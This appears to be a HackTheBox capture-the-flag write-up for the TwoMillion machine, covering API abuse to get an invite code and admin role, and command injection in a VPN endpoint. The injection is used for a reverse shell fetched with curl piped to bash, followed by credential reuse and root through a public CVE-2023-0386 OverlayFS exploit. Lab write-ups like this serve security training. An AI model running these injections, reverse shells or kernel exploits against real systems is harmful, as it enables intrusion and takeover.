> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md).

# TwoMillion HackTheBox Writeup

TwoMillion HackTheBox Easy Linux machine writeup covering Abusing the API to generate a valid invite code, Abusing the API to elevate our privilege to administrator, Command injection via poorly desig

{% embed url="<https://app.hackthebox.com/machines/TwoMillion>" %}

{% hint style="warning" %}
**Skills:**

* Abusing the API to generate a valid invite code
* Abusing the API to elevate our privilege to administrator
* Command injection via poorly designed API functionality
* Information Leakage
* Privilege Escalation via Kernel Exploitation (CVE-2023-0386) - OverlayFS Vulnerability
  {% endhint %}

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34cd0bc042305198e31e0630947b2ddeb109909b%2Fimage%20(3013).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-089108817699c2b7bcb60fd330a42074349af9ba%2Fimage%20(3014).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13cea665d269c7608ac02b5cabfbcd9133b83800%2Fimage%20(3015).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 2million.htb-oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f3480841eac9af49704f13219048741cb99d7b2%2Fimage%20(3017).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 - HTTP

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0651feab92d73d7e276a4de76baa5358743f053f%2Fimage%20(3018).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Resource discovery with Gobuster

```bash
gobuster dir -u http://2million.htb/ /
-w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /
-t 100 -r --exclude-length 1674
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19c84afcd0ee1d4cf66ab273f98a4420fd7a5cc2%2Fimage%20(3020).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Discovery of the `inviteapi.min.js` file

This JavaScript file is heavily obfuscated using the classic `eval(function(p,a,c,k,e,d){...})` technique. After deobfuscation, two interesting functions appear:

* `verifyInviteCode(code)`: sends an invitation code to `/api/v1/invite/verify`
* `makeInviteCode()`: makes a request to `/api/v1/invite/how/to/generate`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-112c6bdeb216fcebbca52655be25d4811141f68c%2Fimage%20(3021).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploiting the API – Generating an invitation code

#### Appel initial :

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://2million.htb/api/v1/invite/how/to/generate
```

Answer

> {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}#

#### ROT13 decryption → new URL:

{% embed url="<https://rot13.com/>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f558d9e129d97665eb32de32a898d4060e3b07f6%2Fimage%20(3022).png?alt=media" alt=""><figcaption></figcaption></figure>

In order to generate the invite code, make a POST request to /api/v1/invite/generate

#### Request:

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://amillion.htb/api/v1/invite/generate
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c4a574ce3457de6c85bd2fc9cd813ca88dba62e%2Fimage%20(3023).png?alt=media" alt=""><figcaption></figcaption></figure>

Response (base64):

* V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=

Decoding:

```bash
echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo
```

WUOIF-LK68X-HUGTW-DOX1S

We use this code to create an account on the site.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4f146845897d80482d99bc27a724e45231f2670%2Fimage%20(3024).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-876ec3e051d8f699ccc336fcabe1ad8fced1017f%2Fimage%20(3025).png?alt=media" alt="" width="389"><figcaption></figcaption></figure>

## HackTheBox API Exploitation

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6194da0687daa4b3a4a82730c939231a3ce587b%2Fimage%20(3026).png?alt=media" alt=""><figcaption></figcaption></figure>

#### API Observation

By visiting `/api`, we can observe the available routes.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-443a959d8295d8b483443b8e4fbcc67a8bb5fa29%2Fimage%20(3027).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Attempting to generate VPN config (initial failure)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate
```

Answer: Not allowed.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-159a880e6902c03f848e0458eee04e8355929590%2Fimage%20(458).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Modifying our role through the API

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f3b7ad34ca7fd589d797fb7e2b54d9d163d5f4e%2Fimage%20(459).png?alt=media" alt=""><figcaption></figcaption></figure>

We test changing user settings with the route:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update
```

> {"status":"danger","message":"Missing parameter: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'
```

> {"status":"danger","message":"Missing parameter: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'
```

> Answer:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9bf1e39d8b38e84ce3b20af07c73c362c793247%2Fimage%20(460).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Checking our admin status

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b261100f7104024b6a36227120b12357c8e82dfd%2Fimage%20(461).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### RCE via Command Injection

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c051f2edfa608a43955602a3bfa7b2412557b8c8%2Fimage%20(462).png?alt=media" alt=""><figcaption></figcaption></figure>

Attempt to inject command into field `username`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31845f9173de41ba756a102a08e4f4023902332%2Fimage%20(463).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Reverse Shell

1. **File server**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80
```

2. **Netcat listening**

```bash
nc -nvlp 443
```

3. **Sending the order**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'    
```

We get a reverse shell

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be97c8f5e23d34a2a7fa0da58756df54b955d269%2Fimage%20(464).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege escalation

#### Discovery of sensitive files

By searching the files accessible from our shell, we discover a hidden `.env` file containing credentials for the database:

```bash
DATABASE=htb_prod
USERNAME=admin
PASSWORD=SuperDuperPass123
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f7678c0b91aa2752671ba3902968bfcdfc2327e%2Fimage%20(465).png?alt=media" alt=""><figcaption></figcaption></figure>

We also notice the presence of a second user named `admin`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7268549e4e779a3da76c3746d4b62aefbbe299ed%2Fimage%20(466).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Password reuse

By testing the discovered credentials, we see that the system user `admin` is using the **same password** as the database password.

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-80516a906d4b5764d9b470b83cfb4f1647b7f56d%2Fimage%20(467).png?alt=media" alt=""><figcaption></figcaption></figure>

This bad practice allows us to obtain an **SSH connection**:

#### System Email

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-576193ef8aa3db9b9449d2ffa04e2a8eb12317f7%2Fimage%20(470).png?alt=media" alt=""><figcaption></figcaption></figure>

When connecting, a message informs us of the presence of a **new email**. By reading it, we obtain crucial information:

> Hey admin,
>
> I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a5f16166613f7348ebb66ab704dd06ade49da50%2Fimage%20(471).png?alt=media" alt=""><figcaption></figcaption></figure>

This message puts us on the trail of a **known vulnerability in OverlayFS**:/ **CVE-2023-0386** – a local privilege escalation vulnerability in the Linux kernel.

## CVE-2023-0386 Exploitation - OverlayFS Privilege Escalation

> OverlayFS allows you to overlay file systems. In some versions of the Linux kernel, poor capacity management allows an unprivileged user to execute code with **root rights**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Operating steps**

1. **Clone the exploit** from our local machine:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Transfer the compiled files** to the target machine (`scp`, `python -m http.server`, etc.).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d8cca90a849306f4f0a7db9df6dcbf1e4c394f2%2Fimage%20(472).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-965ce4a410b32a3dc104a4e90c1ba99e99addef4%2Fimage%20(473).png?alt=media" alt=""><figcaption></figcaption></figure>

2. **On the target machine**, run in **two terminals**:

* Terminal A :

```bash
./fuse ./ovlcap/lower ./gc
```

* Terminal B :

```bash
./exp
```

If all goes well, we get a **root** shell

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8413db904be40722f9ab728b8f41a4a60b80e696%2Fimage%20(474).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe8e0a72ad619012070779b5b798c837c8943863%2Fimage%20(475).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3ffc7312937ff11804821ebec1aa1f3b047f49d%2Fimage%20(468).png?alt=media" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
